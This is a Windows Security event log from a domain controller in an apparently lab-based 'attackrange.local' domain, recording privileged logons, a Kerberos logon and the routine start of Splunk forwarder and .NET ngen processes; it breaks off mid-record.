03/12/2021 12:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254814
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D6AE1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254827
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254829
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254828
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254831
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 36c -Pipe 378 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254830
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 35c -InterruptEvent 0 -NGENProcess 328 -Pipe 364 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254835
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254834
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 35c -Pipe 37c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254833
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 350 -Pipe 310 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254832
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254836
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 348 -InterruptEvent 0 -NGENProcess 33c -Pipe 3a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 350 -Pipe 394 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254838
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1DC11D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62522

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:07:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254837
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1DC11D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254848
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 390 -InterruptEvent 0 -NGENProcess 398 -Pipe 3b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254847
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 39c -InterruptEvent 0 -NGENProcess 3b0 -Pipe 33c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254846
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 38c -Pipe 3c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254845
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 39c -Pipe 1ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
